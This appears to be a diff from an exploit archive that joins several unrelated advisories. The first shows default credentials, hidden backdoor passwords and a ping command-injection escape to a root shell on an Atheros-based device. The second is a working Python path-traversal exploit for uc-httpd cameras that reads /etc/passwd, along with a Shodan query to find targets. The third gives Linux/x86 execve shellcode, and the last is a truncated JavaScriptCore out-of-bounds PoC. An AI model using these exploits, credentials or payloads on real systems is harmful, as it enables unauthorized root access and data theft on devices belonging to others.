root:default
|
||||||
|
|
||||||
|
|
||||||
|
Default credentials (linux shell, ssh or telnet):
|
||||||
|
-------------------------------------------------
|
||||||
|
root:default
|
||||||
|
ate:default
|
||||||
|
|
||||||
|
|
||||||
|
Contents of /etc/passwd (DES):
|
||||||
|
------------------------------
|
||||||
|
root:deGewFOVmIs8E:0:0:root:/:/bin/pekcmd <---
|
||||||
|
|
||||||
|
|
||||||
|
The /bin/pekcmd binary is a restricted shell environment with
|
||||||
|
limited and customized set of commands that you can use for
|
||||||
|
administering the device once you've logged-in with the root:default
|
||||||
|
credentials.
|
||||||
|
|
||||||
|
➜ ~ telnet 10.0.0.17
|
||||||
|
Trying 10.0.0.17...
|
||||||
|
Connected to 10.0.0.17.
|
||||||
|
Escape character is '^]'.
|
||||||
|
Login: root
|
||||||
|
Password: *******
|
||||||
|
command>
|
||||||
|
command> help
|
||||||
|
|
||||||
|
Avaliable commands:
|
||||||
|
info Show system informations
|
||||||
|
ping Ping!
|
||||||
|
clear clear screen
|
||||||
|
default Set default and reboot
|
||||||
|
passwd Change root password
|
||||||
|
reboot Reboot
|
||||||
|
ifconfig IP Configuration
|
||||||
|
iwconfig Configure a WLAN interface
|
||||||
|
iwpriv Configure private parameters of a WLAN interface
|
||||||
|
exit Exit
|
||||||
|
help show this help
|
||||||
|
|
||||||
|
command> id
|
||||||
|
id: no such command
|
||||||
|
command>
|
||||||
|
|
||||||
|
|
||||||
|
Analyzing the pekcmd binary revealed the hidden backdoors and the
|
||||||
|
hidden advanced menu. Here is the invalid characters check function:
|
||||||
|
|
||||||
|
-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
.text:00401F60 check_shellchars:
|
||||||
|
.text:00401F60 li $gp, 0x1FB00
|
||||||
|
.text:00401F68 addu $gp, $t9
|
||||||
|
.text:00401F6C addiu $sp, -0x38
|
||||||
|
.text:00401F70 sw $ra, 0x38+var_4($sp)
|
||||||
|
.text:00401F74 sw $s2, 0x38+var_8($sp)
|
||||||
|
.text:00401F78 sw $s1, 0x38+var_C($sp)
|
||||||
|
.text:00401F7C sw $s0, 0x38+var_10($sp)
|
||||||
|
.text:00401F80 sw $gp, 0x38+var_28($sp)
|
||||||
|
.text:00401F84 la $a1, 0x410000
|
||||||
|
.text:00401F88 la $t9, memcpy
|
||||||
|
.text:00401F8C addiu $s0, $sp, 0x38+var_20
|
||||||
|
.text:00401F90 move $s2, $a0
|
||||||
|
.text:00401F94 addiu $a1, (asc_409800 - 0x410000) # ";><|$~*{}()"
|
||||||
|
.text:00401F98 move $a0, $s0 # dest
|
||||||
|
.text:00401F9C jalr $t9 ; memcpy
|
||||||
|
.text:00401FA0 li $a2, 0xB # n
|
||||||
|
.text:00401FA4 lw $gp, 0x38+var_28($sp)
|
||||||
|
.text:00401FA8 b loc_401FE4
|
||||||
|
.text:00401FAC addiu $s1, $sp, 0x38+var_15
|
||||||
|
|
||||||
|
.text:00401FB0 lb $a1, 0($s0) # c
|
||||||
|
.text:00401FB4 jalr $t9 ; strchr
|
||||||
|
.text:00401FB8 addiu $s0, 1
|
||||||
|
.text:00401FBC lw $gp, 0x38+var_28($sp)
|
||||||
|
.text:00401FC0 beqz $v0, loc_401FE4
|
||||||
|
.text:00401FC4 move $a1, $v0
|
||||||
|
.text:00401FC8 la $a0, 0x410000
|
||||||
|
.text:00401FCC la $t9, printf
|
||||||
|
.text:00401FD0 nop
|
||||||
|
.text:00401FD4 jalr $t9 ; printf
|
||||||
|
.text:00401FD8 addiu $a0, (aIllegalArgumen - 0x410000) # "illegal argument: %s\n"
|
||||||
|
.text:00401FDC b loc_402000
|
||||||
|
.text:00401FE0 nop
|
||||||
|
|
||||||
|
.text:00401FE4 la $t9, strchr
|
||||||
|
.text:00401FE8 bne $s0, $s1, loc_401FB0
|
||||||
|
.text:00401FEC move $a0, $s2 # command
|
||||||
|
.text:00401FF0 la $t9, system
|
||||||
|
.text:00401FF4 nop
|
||||||
|
.text:00401FF8 jalr $t9 ; system
|
||||||
|
.text:00401FFC nop
|
||||||
|
|
||||||
|
.text:00402000 lw $ra, 0x38+var_4($sp)
|
||||||
|
.text:00402004 lw $gp, 0x38+var_28($sp)
|
||||||
|
.text:00402008 move $v0, $zero
|
||||||
|
.text:0040200C lw $s2, 0x38+var_8($sp)
|
||||||
|
.text:00402010 lw $s1, 0x38+var_C($sp)
|
||||||
|
.text:00402014 lw $s0, 0x38+var_10($sp)
|
||||||
|
.text:00402018 jr $ra
|
||||||
|
.text:0040201C addiu $sp, 0x38
|
||||||
|
.text:0040201C # End of function check_shellchars
|
||||||
|
|
||||||
|
-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
command> ping 127.0.0.1 -c 1 | id
|
||||||
|
illegal argument: | id
|
||||||
|
command>
|
||||||
|
|
||||||
|
|
||||||
|
Escaping the restricted shell using Ping command injection:
|
||||||
|
|
||||||
|
|
||||||
|
command> ping 127.0.0.1 -c1 && id
|
||||||
|
PING 127.0.0.1 (127.0.0.1): 56 data bytes
|
||||||
|
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.3 ms
|
||||||
|
|
||||||
|
--- 127.0.0.1 ping statistics ---
|
||||||
|
1 packets transmitted, 1 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 0.3/0.3/0.3 ms
|
||||||
|
uid=0(root) gid=0(root)
|
||||||
|
|
||||||
|
|
||||||
|
We can easily drop into a sh:
|
||||||
|
|
||||||
|
command> ping 127.0.0.1 -c1 && sh
|
||||||
|
PING 127.0.0.1 (127.0.0.1): 56 data bytes
|
||||||
|
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.3 ms
|
||||||
|
|
||||||
|
--- 127.0.0.1 ping statistics ---
|
||||||
|
1 packets transmitted, 1 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 0.3/0.3/0.3 ms
|
||||||
|
|
||||||
|
|
||||||
|
BusyBox v1.11.2 (2014-07-29 12:05:26 CST) built-in shell (ash)
|
||||||
|
Enter 'help' for a list of built-in commands.
|
||||||
|
|
||||||
|
~ # id
|
||||||
|
uid=0(root) gid=0(root)
|
||||||
|
~ # ls
|
||||||
|
bin dev etc_ro lib mount pekcmd reset sys tmpetc tmpvar var
|
||||||
|
cfg etc home mnt pek proc sbin tmp tmphome usr
|
||||||
|
~ # cat /etc/passwd
|
||||||
|
root:deGewFOVmIs8E:0:0:root:/:/bin/pekcmd
|
||||||
|
~ # uname -a
|
||||||
|
Linux (none) 2.6.31--LSDK-9.2.0_U9.915 #9 Mon Aug 11 09:48:52 CST 2014 mips unknown
|
||||||
|
~ # cd etc
|
||||||
|
/etc # cat hostapd0.conf
|
||||||
|
interface=ath0
|
||||||
|
ssid={{SSID_OMITTED}}
|
||||||
|
macaddr_acl=0
|
||||||
|
logger_syslog=-1
|
||||||
|
logger_syslog_level=2
|
||||||
|
logger_stdout=-1
|
||||||
|
logger_stdout_level=2
|
||||||
|
dump_file=/tmp/hostapd0.dump
|
||||||
|
ctrl_interface=/var/run/hostapd
|
||||||
|
ctrl_interface_group=0
|
||||||
|
rts_threshold=2346
|
||||||
|
fragm_threshold=2346
|
||||||
|
max_num_sta=32
|
||||||
|
wpa_group_rekey=600
|
||||||
|
wpa_gmk_rekey=86400
|
||||||
|
wpa_pairwise=TKIP
|
||||||
|
wpa=2
|
||||||
|
wpa_passphrase=0919067031
|
||||||
|
/etc # cat version
|
||||||
|
Atheros/ Version 1.0.1 with AR7xxx -- 三 2月 5 17:30:42 CST 2014
|
||||||
|
/etc # cd /home/httpd/cgi-bin
|
||||||
|
/home/httpd/cgi-bin # cat .htpasswd
|
||||||
|
root:deGewFOVmIs8E
|
||||||
|
/home/httpd/cgi/bin # cd /cfg
|
||||||
|
/cfg # ls -al
|
||||||
|
drwxr-xr-x 2 root root 0 Jan 1 00:00 .
|
||||||
|
drwxr-xr-x 23 1000 1000 305 Feb 5 2014 ..
|
||||||
|
-rw-r--r-- 1 root root 7130 Jan 1 00:00 config
|
||||||
|
-rwxrwxrwx 1 root root 427 Jan 1 00:00 rsa_host_key
|
||||||
|
-rwxrwxrwx 1 root root 225 Jan 1 00:00 rsa_host_key.pub
|
||||||
|
-rw-r--r-- 1 root root 22 Jan 1 00:00 telnet.conf
|
||||||
|
/cfg # cat telnet.conf
|
||||||
|
Root_password=default
|
||||||
|
/cfg # cat config |grep pass
|
||||||
|
Root_password "default"
|
||||||
|
Admin_password "admin"
|
||||||
|
/cfg # exit
|
||||||
|
command>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
The hidden 'art' command backdoor enabling root shell, calling system sh
|
||||||
|
using password: 111222333:
|
||||||
|
|
||||||
|
-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
la $a0, 0x410000
|
||||||
|
la $t9, strcmp
|
||||||
|
addiu $a1, $sp, 0xB8+var_A0 # s2
|
||||||
|
jalr $t9 ; strcmp
|
||||||
|
addiu $a0, (a111222333 - 0x410000) # "111222333"
|
||||||
|
lw $gp, 0xB8+var_A8($sp)
|
||||||
|
sltu $s0, $zero, $v0
|
||||||
|
|
||||||
|
|
||||||
|
.text:004035D8 loc_4035D8:
|
||||||
|
.text:004035D8 la $a1, 0x410000
|
||||||
|
.text:004035DC la $t9, strcpy
|
||||||
|
.text:004035E0 addiu $s0, $sp, 0xB8+var_8C
|
||||||
|
.text:004035E4 addiu $a1, (aArt - 0x410000) # "ART"
|
||||||
|
.text:004035E8 move $a0, $s0 # dest
|
||||||
|
.text:004035EC sw $zero, 0xB8+var_8C($sp)
|
||||||
|
.text:004035F0 sw $zero, 4($s0)
|
||||||
|
.text:004035F4 sw $zero, 8($s0)
|
||||||
|
.text:004035F8 sw $zero, 0xC($s0)
|
||||||
|
.text:004035FC jalr $t9 ; strcpy
|
||||||
|
.text:00403600 sw $zero, 0x10($s0)
|
||||||
|
.text:00403604 lw $gp, 0xB8+var_A8($sp)
|
||||||
|
.text:00403608 nop
|
||||||
|
.text:0040360C la $t9, strlen
|
||||||
|
.text:00403610 nop
|
||||||
|
.text:00403614 jalr $t9 ; strlen
|
||||||
|
.text:00403618 move $a0, $s0 # s
|
||||||
|
.text:0040361C lw $gp, 0xB8+var_A8($sp)
|
||||||
|
.text:00403620 move $a3, $zero # flags
|
||||||
|
.text:00403624 addiu $a2, $v0, 1 # n
|
||||||
|
.text:00403628 la $t9, send
|
||||||
|
.text:0040362C move $a0, $s1 # fd
|
||||||
|
.text:00403630 jalr $t9 ; send
|
||||||
|
.text:00403634 move $a1, $s0 # buf
|
||||||
|
.text:00403638 lw $gp, 0xB8+var_A8($sp)
|
||||||
|
.text:0040363C move $a1, $s0 # buf
|
||||||
|
.text:00403640 li $a2, 0x14 # nbytes
|
||||||
|
.text:00403644 la $t9, read
|
||||||
|
.text:00403648 nop
|
||||||
|
.text:0040364C jalr $t9 ; read
|
||||||
|
.text:00403650 move $a0, $s1 # fd
|
||||||
|
.text:00403654 lw $gp, 0xB8+var_A8($sp)
|
||||||
|
.text:00403658 nop
|
||||||
|
.text:0040365C la $t9, close
|
||||||
|
.text:00403660 nop
|
||||||
|
.text:00403664 jalr $t9 ; close
|
||||||
|
.text:00403668 move $a0, $s1 # fd
|
||||||
|
.text:0040366C lw $gp, 0xB8+var_A8($sp)
|
||||||
|
.text:00403670 nop
|
||||||
|
.text:00403674 la $a0, 0x410000
|
||||||
|
.text:00403678 la $t9, puts
|
||||||
|
.text:0040367C nop
|
||||||
|
.text:00403680 jalr $t9 ; puts
|
||||||
|
.text:00403684 addiu $a0, (aEnterArtMode - 0x410000) # "\n\n===>Enter ART Mode"
|
||||||
|
.text:00403688 lw $gp, 0xB8+var_A8($sp)
|
||||||
|
.text:0040368C nop
|
||||||
|
.text:00403690 la $v0, stdout
|
||||||
|
.text:00403694 la $t9, fflush
|
||||||
|
.text:00403698 lw $a0, (stdout - 0x41A000)($v0) # stream
|
||||||
|
.text:0040369C jalr $t9 ; fflush
|
||||||
|
.text:004036A0 nop
|
||||||
|
.text:004036A4 lw $gp, 0xB8+var_A8($sp)
|
||||||
|
.text:004036A8 nop
|
||||||
|
.text:004036AC la $a0, 0x410000
|
||||||
|
.text:004036B0 la $t9, system
|
||||||
|
.text:004036B4 addiu $a0, (aSh - 0x410000) # "sh"
|
||||||
|
|
||||||
|
-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
command> art
|
||||||
|
Enter password
|
||||||
|
|
||||||
|
|
||||||
|
===>Enter ART Mode
|
||||||
|
|
||||||
|
|
||||||
|
BusyBox v1.11.2 (2014-07-28 12:48:51 CST) built-in shell (ash)
|
||||||
|
Enter 'help' for a list of built-in commands.
|
||||||
|
|
||||||
|
~ # id
|
||||||
|
uid=0(root) gid=0(root)
|
||||||
|
|
||||||
|
|
||||||
|
The hidden 'pekpekengeng' backdoor enabling advanced commands
|
||||||
|
and access to root shell:
|
||||||
|
|
||||||
|
-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
la $v0, 0x420000
|
||||||
|
nop
|
||||||
|
lw $s0, (off_419A48 - 0x420000)($v0) # off_419A48 = "pekpekengeng"
|
||||||
|
jalr $t9 ; strlen
|
||||||
|
move $a0, $s0 # s
|
||||||
|
lw $gp, 0x38+var_28($sp)
|
||||||
|
bne $s3, $v0, loc_403350
|
||||||
|
move $a0, $s5 # s1
|
||||||
|
|
||||||
|
la $t9, strncmp
|
||||||
|
move $a1, $s0 # s2
|
||||||
|
jalr $t9 ; strncmp
|
||||||
|
move $a2, $s3 # n
|
||||||
|
lw $gp, 0x38+var_28($sp)
|
||||||
|
bnez $v0, loc_403350
|
||||||
|
li $v1, 1
|
||||||
|
|
||||||
|
loc_4033A8:
|
||||||
|
la $t9, printf
|
||||||
|
addiu $a0, $s1, (aSNoSuchCommand - 0x410000) # "%s: no such command\n"
|
||||||
|
jalr $t9 ; printf
|
||||||
|
move $a1, $s4
|
||||||
|
|
||||||
|
la $a0, 0x410000
|
||||||
|
la $t9, puts
|
||||||
|
nop
|
||||||
|
jalr $t9 ; puts
|
||||||
|
addiu $a0, (aAdvancedComman - 0x410000) # "\nAdvanced commands:"
|
||||||
|
lw $gp, 0x28+var_18($sp)
|
||||||
|
nop
|
||||||
|
la $v0, 0x420000
|
||||||
|
nop
|
||||||
|
addiu $s0, $v0, (off_4199A8 - 0x420000)
|
||||||
|
la $v0, 0x410000
|
||||||
|
b loc_4020F8
|
||||||
|
addiu $s1, $v0, (a16sS - 0x410000) # " %-16s%s\n"
|
||||||
|
|
||||||
|
-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
command> help
|
||||||
|
|
||||||
|
Avaliable commands:
|
||||||
|
info Show system informations
|
||||||
|
ping Ping!
|
||||||
|
clear clear screen
|
||||||
|
default Set default and reboot
|
||||||
|
passwd Change root password
|
||||||
|
reboot Reboot
|
||||||
|
ifconfig IP Configuration
|
||||||
|
iwconfig Configure a WLAN interface
|
||||||
|
iwpriv Configure private parameters of a WLAN interface
|
||||||
|
exit Exit
|
||||||
|
help show this help
|
||||||
|
|
||||||
|
command> sh
|
||||||
|
sh: no such command
|
||||||
|
command> pekpekengeng
|
||||||
|
pekpekengeng: no such command
|
||||||
|
command> help
|
||||||
|
|
||||||
|
Avaliable commands:
|
||||||
|
info Show system informations
|
||||||
|
ping Ping!
|
||||||
|
clear clear screen
|
||||||
|
default Set default and reboot
|
||||||
|
passwd Change root password
|
||||||
|
reboot Reboot
|
||||||
|
ifconfig IP Configuration
|
||||||
|
iwconfig Configure a WLAN interface
|
||||||
|
iwpriv Configure private parameters of a WLAN interface
|
||||||
|
exit Exit
|
||||||
|
help show this help
|
||||||
|
|
||||||
|
Advanced commands:
|
||||||
|
ifconfig IP Configuration
|
||||||
|
sh root shell
|
||||||
|
quit Quit
|
||||||
|
|
||||||
|
command> sh
|
||||||
|
|
||||||
|
|
||||||
|
BusyBox v1.11.2 (2013-02-22 10:51:58 CST) built-in shell (ash)
|
||||||
|
Enter 'help' for a list of built-in commands.
|
||||||
|
|
||||||
|
~ # id
|
||||||
|
uid=0(root) gid=0(root)
|
||||||
|
~ #
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Other hidden functionalities:
|
||||||
|
|
||||||
|
|
||||||
|
command> unistorm
|
||||||
|
Usage:
|
||||||
|
unistorm device mac count [interval] [len]
|
||||||
|
command>
|
||||||
|
command> unistorm 1 2 3
|
||||||
|
target: 02:7f875b7c:2ab4a770:4007c4:2aac5010:00
|
||||||
|
ioctl SIOCGIFINDEX: No such devicecommand>
|
||||||
|
|
||||||
|
|
||||||
|
Serial connection password: 123456789
|
||||||
|
|
||||||
|
|
||||||
|
Hidden 'ate' mode:
|
||||||
|
|
||||||
|
.text:00401BB0
|
||||||
|
.text:00401BB0 loc_401BB0: # CODE XREF: main+284j
|
||||||
|
.text:00401BB0 la $t9, lineedit_read_key
|
||||||
|
.text:00401BB4 nop
|
||||||
|
.text:00401BB8 jalr $t9 ; lineedit_read_key
|
||||||
|
.text:00401BBC move $a0, $s0
|
||||||
|
.text:00401BC0 lw $gp, 0xC8+var_B8($sp)
|
||||||
|
.text:00401BC4 nop
|
||||||
|
.text:00401BC8 la $t9, lineedit_handle_byte
|
||||||
|
.text:00401BCC nop
|
||||||
|
.text:00401BD0 jalr $t9 ; lineedit_handle_byte
|
||||||
|
.text:00401BD4 move $a0, $v0
|
||||||
|
.text:00401BD8 lw $gp, 0xC8+var_B8($sp)
|
||||||
|
.text:00401BDC
|
||||||
|
.text:00401BDC loc_401BDC: # CODE XREF: main+244j
|
||||||
|
.text:00401BDC lw $v1, -0x634C($s1)
|
||||||
|
.text:00401BE0 nop
|
||||||
|
.text:00401BE4 slti $v0, $v1, 3
|
||||||
|
.text:00401BE8 bnez $v0, loc_401BB0
|
||||||
|
.text:00401BEC li $v0, 3
|
||||||
|
.text:00401BF0 beq $v1, $v0, loc_401D48
|
||||||
|
.text:00401BF4 nop
|
||||||
|
.text:00401BF8 la $v0, 0x420000
|
||||||
|
.text:00401BFC nop
|
||||||
|
.text:00401C00 lw $v1, (dword_419CB8 - 0x420000)($v0)
|
||||||
|
.text:00401C04 li $v0, 1
|
||||||
|
.text:00401C08 bne $v1, $v0, loc_401C98
|
||||||
|
.text:00401C0C move $a1, $zero
|
||||||
|
.text:00401C10 la $a0, 0x410000
|
||||||
|
.text:00401C14 la $t9, puts
|
||||||
|
.text:00401C18 nop
|
||||||
|
.text:00401C1C jalr $t9 ; puts
|
||||||
|
.text:00401C20 addiu $a0, (aAteMode - 0x410000) # "ate mode"
|
||||||
|
.text:00401C24 lw $gp, 0xC8+var_B8($sp)
|
||||||
|
.text:00401C28 nop
|
||||||
|
.text:00401C2C la $v0, stdout
|
||||||
|
.text:00401C30 la $t9, fflush
|
||||||
|
.text:00401C34 lw $a0, (stdout - 0x41A000)($v0) # stream
|
||||||
|
.text:00401C38 jalr $t9 ; fflush
|
||||||
|
.text:00401C3C nop
|
||||||
|
.text:00401C40 lw $gp, 0xC8+var_B8($sp)
|
||||||
|
.text:00401C44 nop
|
||||||
|
.text:00401C48 la $t9, lineedit_back_term
|
||||||
|
.text:00401C4C nop
|
||||||
|
.text:00401C50 jalr $t9 ; lineedit_back_term
|
||||||
|
.text:00401C54 nop
|
||||||
|
.text:00401C58 lw $gp, 0xC8+var_B8($sp)
|
||||||
|
.text:00401C5C nop
|
||||||
|
.text:00401C60 la $a0, 0x410000
|
||||||
|
.text:00401C64 la $t9, system
|
||||||
|
.text:00401C68 nop
|
||||||
|
.text:00401C6C jalr $t9 ; system
|
||||||
|
.text:00401C70 addiu $a0, (aSh - 0x410000) # "sh"
|
||||||
|
.text:00401C74 lw $gp, 0xC8+var_B8($sp)
|
||||||
|
.text:00401C78 nop
|
||||||
|
.text:00401C7C la $t9, lineedit_set_term
|
||||||
|
.text:00401C80 nop
|
||||||
|
.text:00401C84 jalr $t9 ; lineedit_set_term
|
||||||
|
.text:00401C88 nop
|
||||||
|
.text:00401C8C lw $gp, 0xC8+var_B8($sp)
|
||||||
|
.text:00401C90 b loc_401D48
|
||||||
|
.text:00401C94 nop
|
||||||
|
|
||||||
|
|
||||||
|
Web server configuration information disclosure:
|
||||||
|
|
||||||
|
http://TARGET/hydra.conf
|
96
platforms/hardware/webapps/42085.py
Executable file
96
platforms/hardware/webapps/42085.py
Executable file
|
@ -0,0 +1,96 @@
|
||||||
|
'''
|
||||||
|
______ ______ _____ ___ _____ _____ _____
|
||||||
|
| ___ \ | ___ \ | _ | |_ | | ___| / __ \ |_ _|
|
||||||
|
| |_/ / | |_/ / | | | | | | | |__ | / \/ | |
|
||||||
|
| __/ | / | | | | | | | __| | | | |
|
||||||
|
| | | |\ \ \ \_/ / /\__/ / | |___ | \__/\ | |
|
||||||
|
\_| \_| \_| \___/ \____/ \____/ \____/ \_/
|
||||||
|
|
||||||
|
|
||||||
|
_____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __
|
||||||
|
|_ _| | \ | | / ___| | ___| / __ \ | | | | | ___ \ |_ _| |_ _| \ \ / /
|
||||||
|
| | | \| | \ `--. | |__ | / \/ | | | | | |_/ / | | | | \ V /
|
||||||
|
| | | . ` | `--. \ | __| | | | | | | | / | | | | \ /
|
||||||
|
_| |_ | |\ | /\__/ / | |___ | \__/\ | |_| | | |\ \ _| |_ | | | |
|
||||||
|
\___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/
|
||||||
|
|
||||||
|
|
||||||
|
[+]---------------------------------------------------------[+]
|
||||||
|
| Vulnerable Software: uc-httpd |
|
||||||
|
| Vendor: XiongMai Technologies |
|
||||||
|
| Vulnerability Type: LFI, Directory Traversal |
|
||||||
|
| Date Released: 03/04/2017 |
|
||||||
|
| Released by: keksec |
|
||||||
|
[+]---------------------------------------------------------[+]
|
||||||
|
|
||||||
|
uc-httpd is a HTTP daemon used by a wide array of IoT devices (primarily security cameras) which is vulnerable
|
||||||
|
to local file inclusion and directory traversal bugs. There are a few million total vulnerable devices, with
|
||||||
|
around one million vulnerable surviellence cameras.
|
||||||
|
|
||||||
|
The following request can be made to display the contents of the 'passwd' file:
|
||||||
|
GET ../../../../../etc/passwd HTTP/1.0
|
||||||
|
|
||||||
|
To display a directory listing, the following request can be made:
|
||||||
|
GET ../../../../../var/www/html/ HTTP/1.0
|
||||||
|
The above request would output the contents of the webroot directory as if 'ls' command was executed
|
||||||
|
|
||||||
|
The following shodan request can be used to display vulnerable systems:
|
||||||
|
product:uc-httpd
|
||||||
|
|
||||||
|
Here is a proof of concept (written by @sxcurity):
|
||||||
|
-------------------------------------------------------------------------------------------------------------
|
||||||
|
'''
|
||||||
|
#!/usr/bin/env python
|
||||||
|
import urllib2, httplib, sys
|
||||||
|
|
||||||
|
httplib.HTTPConnection._http_vsn = 10
|
||||||
|
httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'
|
||||||
|
|
||||||
|
print "[+] uc-httpd 0day exploiter [+]"
|
||||||
|
print "[+] usage: python " + __file__ + " http://<target_ip>"
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
fd = raw_input('[+] File or Directory: ')
|
||||||
|
|
||||||
|
print "Exploiting....."
|
||||||
|
print '\n'
|
||||||
|
print urllib2.urlopen(host + '/../../../../..' + fd).read()
|
||||||
|
|
||||||
|
'''
|
||||||
|
-------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Here is a live example of the exploit being ran:
|
||||||
|
|
||||||
|
|
||||||
|
root@127:~/dongs# python pwn.py http://127.0.0.1
|
||||||
|
[+] uc-httpd 0day exploiter [+]
|
||||||
|
[+] usage: python pwn.py http://<target_ip>
|
||||||
|
[+] File or Directory: /etc/passwd
|
||||||
|
Exploiting.....
|
||||||
|
|
||||||
|
|
||||||
|
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
|
||||||
|
|
||||||
|
root@127:~/dongs# python pwn.py http://127.0.0.1
|
||||||
|
[+] uc-httpd 0day exploiter [+]
|
||||||
|
[+] usage: python pwn.py http://<target_ip>
|
||||||
|
[+] File or Directory: /proc/version
|
||||||
|
Exploiting.....
|
||||||
|
|
||||||
|
|
||||||
|
Linux version 3.0.8 (leixinyuan@localhost.localdomain) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #52 Fri Apr 22 12:33:57 CST 2016
|
||||||
|
|
||||||
|
root@127:~/dongs#
|
||||||
|
-------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
How to fix: Sanitize inputs, don't run your httpd as root!
|
||||||
|
|
||||||
|
[+]---------------------------------------------------------[+]
|
||||||
|
| CONTACT US: |
|
||||||
|
| |
|
||||||
|
| IRC: irc.insecurity.zone (6667/6697) #insecurity |
|
||||||
|
| Twitter: @insecurity |
|
||||||
|
| Website: insecurity.zone |
|
||||||
|
[+]---------------------------------------------------------[+]
|
||||||
|
'''
|
|
@ -1,4 +1,58 @@
|
||||||
;================================================================================
|
;================================================================================
|
||||||
|
Linux/x86 - execve(/bin/sh") shellcode (21 bytes)
|
||||||
|
;================================================================================
|
||||||
|
; The MIT License
|
||||||
|
;
|
||||||
|
; Copyright (c) <year> <copyright holders>
|
||||||
|
;
|
||||||
|
; Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
; of this software and associated documentation files (the "Software"), to deal
|
||||||
|
; in the Software without restriction, including without limitation the rights
|
||||||
|
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
; copies of the Software, and to permit persons to whom the Software is
|
||||||
|
; furnished to do so, subject to the following conditions:
|
||||||
|
;
|
||||||
|
; The above copyright notice and this permission notice shall be included in
|
||||||
|
; all copies or substantial portions of the Software.
|
||||||
|
;
|
||||||
|
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
; THE SOFTWARE.
|
||||||
|
;================================================================================
|
||||||
|
; Name : Linux/x86 - execve(/bin/sh") shellcode (21 bytes)
|
||||||
|
; Author : WangYihang
|
||||||
|
; Email : wangyihanger@gmail.com
|
||||||
|
; Tested on: Linux_x86
|
||||||
|
; Shellcode Length: 21
|
||||||
|
;================================================================================
|
||||||
|
; Shellcode :
|
||||||
|
char shellcode[] = "\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
|
||||||
|
;================================================================================
|
||||||
|
; Python :
|
||||||
|
shellcode = "\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
|
||||||
|
;================================================================================
|
||||||
|
; Assembly language code :
|
||||||
|
global _start
|
||||||
|
_start:
|
||||||
|
xor ecx, ecx
|
||||||
|
push 0bH
|
||||||
|
pop eax
|
||||||
|
cdq
|
||||||
|
push edx
|
||||||
|
push "//sh"
|
||||||
|
push "/bin"
|
||||||
|
mov ebx, esp
|
||||||
|
int 80H
|
||||||
|
;================================================================================
|
||||||
|
|
||||||
|
2017-03-29 12:27 GMT+08:00 wangyihanger@gmail.com <wangyihanger@gmail.com>:
|
||||||
|
|
||||||
|
Linux/x86 - execve(/bin/sh") shellcode (19 bytes)
|
||||||
|
;================================================================================
|
||||||
; The MIT License
|
; The MIT License
|
||||||
;
|
;
|
||||||
; Copyright (c) <year> <copyright holders>
|
; Copyright (c) <year> <copyright holders>
|
||||||
|
|
53
platforms/linux/dos/42103.js
Executable file
53
platforms/linux/dos/42103.js
Executable file
|
@ -0,0 +1,53 @@
|
||||||
|
/*
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1165
|
||||||
|
|
||||||
|
Here's a snippet of JSObject::ensureLength.
|
||||||
|
|
||||||
|
bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)
|
||||||
|
{
|
||||||
|
ASSERT(length < MAX_ARRAY_INDEX);
|
||||||
|
ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));
|
||||||
|
|
||||||
|
bool result = true;
|
||||||
|
if (m_butterfly.get()->vectorLength() < length)
|
||||||
|
result = ensureLengthSlow(vm, length);
|
||||||
|
|
||||||
|
if (m_butterfly.get()->publicLength() < length)
|
||||||
|
m_butterfly.get()->setPublicLength(length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.
|
||||||
|
|
||||||
|
Tested on Linux.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
*/
|
||||||
|
|
||||||
|
const kArrayLength = 0x200000;
|
||||||
|
|
||||||
|
let arr = new Array(kArrayLength);
|
||||||
|
arr.fill({});
|
||||||
|
|
||||||
|
let exh = [];
|
||||||
|
try {
|
||||||
|
for (;;) {
|
||||||
|
exh.push(new ArrayBuffer(kArrayLength * 8 * 8));
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
